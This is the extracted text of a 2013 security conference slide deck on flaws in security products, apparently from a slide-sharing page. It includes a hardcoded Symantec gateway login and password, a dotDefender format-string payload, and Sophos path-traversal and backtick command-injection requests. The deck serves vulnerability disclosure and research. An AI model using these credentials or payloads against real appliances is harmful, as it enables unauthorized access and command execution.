1.3. (In)security Software

(in)Security Software
By Alexander Antukh
May 26, 2013

/whoami
Alexander Antukh
 Security Consultant
 Offensive Security Certified Expert
 Interests: kittens and stuff

3
Agenda
• Introduction
• What is Security Software
• Historical review
• The Question
• The Answer
• Vuln, where art thou?
• Afterward
• QA

4
The question
Do you know anybody less boring?
What if the SS is vulnerable itself?

5
The answer
*sorry for my English

The answer
• Symantec Messaging Gateway
– Backdoor by design
Code execution
• F5 BIG-IP
– SQL Injection, XXE
Passwords… Root access
• Applicure dotDefender WAF
– Format string vulnerability
Code execution
• Sophos Web Protection Appliance
– LFI, OS Command Injection
Command execution, admin account pwn
Security software products are the target of the trade ... already!
6

The answer
“... inbound and outbound messaging security,
with effective and accurate real-time antispam
and antivirus protection, advanced content
filtering, data loss prevention, and email
encryption ...“
Symantec Messaging Gateway
v.9.5.x
SSH?!
Login: support
MD5: 52e3bbafc627009ac13caff1200a0dbf
Password: symantec
7

The answer
“... inbound and outbound messaging security,
with effective and accurate real-time antispam
and antivirus protection, advanced content
filtering, data loss prevention, and email
encryption ...“
Symantec Messaging Gateway
v.9.5.x
SSH?!
Login: support
MD5: 52e3bbafc627009ac13caff1200a0dbf
Password: symantec
8

The answer
F5 BIG-IP <= 11.2.0
“... from load balancing and service offloading
to acceleration and security, the BIG-IP system
delivers agility—and ensures your applications
are fast, secure, and available ...“
9

The answer
F5 BIG-IP <= 11.2.0
10

The answer
F5 BIG-IP <= 11.2.0
11

The answer
sam/admin/reports/php/getSettings.php 
12
F5 BIG-IP <= 11.2.0

The answer
“... dotDefender is a web application security
solution (a Web Application Firewall, or WAF)
that offers strong, proactive security for your
websites and web applications ...“
Web Attack?
13
AppliCure dotDefender WAF <= 4.26

14
The answer
• %MAILTO_BLOCK% - email entered in the “Email
address for blocked request report” field
• %RID% - reference ID
• %IP% - server's IP address
• %DATE_TIME% - date of blocked request
Error page can be configured in different ways:
Vars to be added to the body of a custom page:
Looks nice…

15
The answer
Format string injection
• Variables
• Buffer
• ...
• AP_PRINTF()
check for format string vulnerabilities
… should be
<%IP%> Host: …
Algorithm:
%666dxBAxADxBExEF…

16
The answer
Format string injection
• Variables
• Buffer
• ...
• AP_PRINTF()
check for format string vulnerabilities
… should be
<%IP%> Host: …
Algorithm:
%666dxBAxADxBExEF…

17
The answer
“... our award-winning Secure Web Gateway
appliances make web protection easy. They are
quick to setup, simple to manage and make policy
administration a snap, even for non-technical
users...“
Sophos Web Protection
Appliance <= 3.7.8.1
https://<host>/cgi-bin/patience.cgi?id=..
?id=../../persist/config/shared.conf%00
?id=../../log/ui_access_log%00
"https://<host>/index.php?section=configuration&c=configuration&STYLE=8514d0a3c2fc9f8
d47e2988076778153" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101
Firefox/19.0"
Passwords!

18
The answer
` POST /index.php?c=diagnostic_tools HTTP/1.1
...
action=wget&section=configuration&STYLE=<validsessid>&url=%60sle
ep%205%60
Diagnostic Tools
users...“

19
The answer
` https://<host>/end-user/index.php?reason=application&client-
ip=%20%60sleep+10%60
Block page (%%user_workstation%%“)
users...“

20
The answer
POST /index.php?c=local_site_list_editor HTTP/1.1
...
STYLE=<validsessid>&action=save&entries=[{"url"%3a+".'`sleep+10`'"
,+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]
Local Site List
`
users...“

21
The answer
POST /index.php?c=local_site_list_editor HTTP/1.1
...
STYLE=<validsessid>&action=save&entries=[{"url"%3a+".'`sleep+10`'"
,+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]
Local Site List
`
users...“

22
The answer

23
Agenda
• Introduction
• The Question
• The Answer
• Afterward
• QA

Vuln, where art thou?
• Methods for identifying usable bugs in “Software products”
– Applicaton testing and Fuzzing
– Reverse engineering
– Source code analysis
• A short note on so called “security scanning”
tools
24

• The workflow for the appliance analysis is pretty simple!
– get a virtual appliance demo version
– install the appliance
– add the .vmdk to another vm and mount it there (or use a linux fs driver
that can mount vmdk files)
– add a new user to /etc/passwd, or change UID/shell/password of existing
users (or maybe change the sudoers file, sshd config)
– start the appliance again and log in :)
– look at the services that are running (and their configuration)
– pwnage ;)
25

• The workflow for the appliance analysis is pretty simple!
– get a virtual appliance demo version
– install the appliance
– add the .vmdk to another vm and mount it there (or use a linux fs driver
that can mount vmdk files)
– add a new user to /etc/passwd, or change UID/shell/password of existing
users (or maybe change the sudoers file, sshd config)
– start the appliance again and log in :)
– look at the services that are running (and their configuration)
– pwnage ;)
26

*Move two matches to make it three equal squares
27

*Move two matches to make it three equal squares
28

29
Agenda
• Introduction
• The Question
• The Answer
• Afterward
• QA

30
Sometimes it’s easier to find the vulnerability
than it might be expected . . .
*doesn’t exist yet
And now for something completely different

1.3. (In)security Software

Recommended

More Related Content

What's hot (20)

Viewers also liked (6)

Similar to 1.3. (In)security Software (20)

More from defconmoscow (20)

Recently uploaded (20)

1.3. (In)security Software